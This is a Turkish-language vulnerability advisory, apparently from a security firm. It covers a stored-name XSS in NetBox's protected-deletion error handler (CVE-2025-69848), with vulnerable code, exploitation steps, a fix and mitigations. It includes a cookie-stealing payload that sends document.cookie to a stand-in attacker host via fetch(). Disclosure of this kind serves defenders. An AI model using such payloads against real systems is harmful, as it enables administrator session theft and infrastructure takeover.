Özet
Netlore Security araştırma ekibi olarak, NetBox platformunda kritik bir Reflected XSS zafiyeti tespit ettik. NetBox, dünya genelinde binlerce kuruluşun ağ altyapısını yönetmek için kullandığı açık kaynaklı bir IPAM/DCIM platformu. GitHub'da 19.7 binden fazla yıldıza ve 386 katkıda bulunana sahip bu proje, veri merkezlerinden telekom operatörlerine kadar geniş bir kullanıcı kitlesine hitap ediyor.
Keşfettiğimiz zafiyet, utilities/error_handlers.py dosyasındaki handle_protectederror fonksiyonunda yer alıyor. Silme işlemi korumalı ilişkiler nedeniyle başarısız olduğunda, nesne isimleri HTML hata mesajına herhangi bir sanitizasyon yapılmadan ekleniyor. Bu durum, düşük yetkili bir kullanıcının yönetici oturumunda JavaScript çalıştırmasına olanak tanıyor.
| Bilgi | Detay |
|---|---|
| CVE ID | CVE-2025-69848 |
| CVSS 3.1 | 5.4 (Medium) — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation |
| Etkilenen Sürümler | NetBox 2.11.0 — 3.7.x |
| Etkilenen Bileşen | utilities/error_handlers.py |
| Keşfeden | Alkım Coşkun — Netlore Security |
Zafiyetin Teknik Analizi
NetBox, Django framework üzerine inşa edilmiş bir Python uygulaması. Django'nun şablon motoru varsayılan olarak tüm değişkenleri otomatik olarak escape eder — bu, XSS'e karşı güçlü bir koruma katmanı sağlar. Ancak geliştiriciler mark_safe() fonksiyonunu kullandığında, Django'ya "bu içerik güvenli, escape etme" mesajı verilmiş olur.
Sorun tam da burada başlıyor. handle_protectederror fonksiyonuna bakalım:
from django.utils.html import escape
from django.utils.safestring import mark_safe
def handle_protectederror(obj_list, request, e):
protected_objects = list(e.protected_objects)
protected_count = len(protected_objects) if len(protected_objects) <= 50 else 'More than 50'
err_message = f"Unable to delete <strong>{', '.join(str(obj) for obj in obj_list)}</strong>. " \
f"{protected_count} dependent objects were found: "
dependent_objects = []
for dependent in protected_objects[:50]:
if hasattr(dependent, 'get_absolute_url'):
dependent_objects.append(
f'<a href="{dependent.get_absolute_url()}">{escape(dependent)}</a>'
)
else:
dependent_objects.append(str(dependent))
err_message += ', '.join(dependent_objects)
messages.error(request, mark_safe(err_message))
Kodu dikkatli incelediğinizde ilginç bir asimetri göreceksiniz: bağımlı nesneler (dependent) escape() fonksiyonu ile sanitize ediliyor, ancak silinmeye çalışılan ana nesneler (obj_list) doğrudan str(obj) ile string'e dönüştürülüp HTML içine yerleştiriliyor. Ardından tüm mesaj mark_safe() ile işaretleniyor.
Yani Django'nun auto-escaping mekanizması bu noktada tamamen devre dışı bırakılmış oluyor. Nesne ismi içindeki HTML ve JavaScript tagları olduğu gibi render ediliyor.
Saldırı Senaryosu
Bu zafiyetin istismar edilmesi şu adımlarla gerçekleşiyor:
1. Kötü amaçlı nesne oluşturma: Saldırgan, NetBox'ta düşük yetkili bir hesapla (nesne oluşturabilecek kadar yeterli) oturum açar ve isim alanına XSS payload'u içeren bir nesne oluşturur:
<img src=x onerror=alert(document.cookie)>
Bu isimle örneğin bir site, device veya başka bir NetBox nesnesi oluşturulabilir.
2. Korumalı ilişki oluşturma: Oluşturulan nesneye bağımlı nesneler eklenir (örneğin bir device'a interface veya kablo bağlantısı). Django'nun PROTECT mekanizması, bağımlı nesneleri olan bir nesnenin silinmesini engeller.
3. Silme işlemini tetikleme: Yönetici kullanıcı bu nesneyi silmeye çalıştığında, Django ProtectedError fırlatır. NetBox bu hatayı handle_protectederror fonksiyonu ile işler ve nesne ismini escape etmeden hata mesajına ekler.
4. XSS tetiklenmesi: Hata mesajı yöneticinin tarayıcısında render edildiğinde, nesne ismindeki JavaScript kodu çalışır. Saldırgan artık yöneticinin oturumu bağlamında istediği işlemi gerçekleştirebilir.
Daha sofistike bir payload ile oturum çalma örneği:
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
Etki Değerlendirmesi
NetBox tipik olarak ağ mühendisleri ve sistem yöneticileri tarafından kullanılır — yani genellikle yüksek yetkili kullanıcılar. Zafiyetin istismar edilmesi durumunda:
- Oturum çalma: Yönetici cookie'leri saldırgana iletilebilir
- Yetki yükseltme: Saldırgan, yönetici oturumunu ele geçirerek tam kontrol elde edebilir
- Veri sızdırma: IPAM verileri (IP adresleri, ağ topolojisi, VLAN yapıları) dışarı aktarılabilir
- Altyapı manipülasyonu: Ağ yapılandırma verileri değiştirilebilir, bu da operasyonel sorunlara yol açabilir
CVSS skoru 5.4 (Medium) olarak değerlendirilmiş. Saldırının başarılı olması için kullanıcı etkileşimi (silme işlemini tetikleme) gerekiyor. Ancak IPAM platformlarının kritik altyapı yönetimindeki rolü düşünüldüğünde gerçek dünya etkisi bu skorun ötesine geçebilir.
Kök Neden: mark_safe() Anti-Pattern
Bu zafiyet, Django uygulamalarında sıkça karşılaşılan bir anti-pattern'in sonucu. mark_safe() fonksiyonu, geliştiricilere HTML içeriği oluşturma esnekliği sağlar ancak beraberinde büyük bir sorumluluk getirir: işaretlenen string içindeki her dinamik değerin manuel olarak escape edilmesi gerekir.
Doğru implementasyon şu şekilde olmalıydı:
from django.utils.html import escape, format_html
err_message = format_html(
"Unable to delete <strong>{}</strong>. {} dependent objects were found: ",
', '.join(str(obj) for obj in obj_list),
protected_count
)
Django'nun format_html() fonksiyonu, str.format() ile aynı sözdizimini kullanır ancak tüm argümanları otomatik olarak escape eder. Bu, mark_safe() ile manuel string birleştirmeye kıyasla çok daha güvenli bir yaklaşımdır.
Öneriler
NetBox kullanıcıları için:
- NetBox'u 3.7.x sonrası güncel sürüme yükseltin
- Web arayüzüne erişimi güvenilir ağlarla sınırlayın
- Content Security Policy (CSP) header'ları uygulayarak script çalıştırmayı kısıtlayın
- Nesne oluşturma yetkilerini minimum gerekli kullanıcılarla sınırlayın
- WAF kuralları ile XSS payload'larını engelleyin
Django geliştiricileri için:
mark_safe()kullanımını minimumda tutun, mümkünseformat_html()tercih edin- Kullanıcı girdisi içeren tüm dinamik değerleri
escape()ile sanitize edin - Code review süreçlerinde
mark_safe()kullanımlarını güvenlik açısından özellikle denetleyin
Sorumlu Açıklama Süreci
Bu zafiyet, Netlore Security'nin sorumlu açıklama (responsible disclosure) politikası çerçevesinde raporlanmıştır. Zafiyet tespit edildikten sonra üretici bilgilendirilmiş ve CVE-2025-69848 kimliği atanmıştır.
Netlore Security olarak, açık kaynak projelerin güvenliğine katkıda bulunmayı önemli bir sorumluluk olarak görüyoruz. Güvenlik araştırmalarımız ve sızma testi hizmetlerimiz hakkında detaylı bilgi almak için bizimle iletişime geçebilirsiniz.
Siber Güvenlik Danışmanlığına İhtiyacınız mı Var?
Uzman ekibimiz, kurumsal altyapınızın güvenliğini sağlamak için kapsamlı siber güvenlik hizmetleri sunmaktadır. Sızma testleri, güvenlik denetimleri ve danışmanlık hizmetlerimiz hakkında detaylı bilgi almak için bizimle iletişime geçin.
İletişime Geç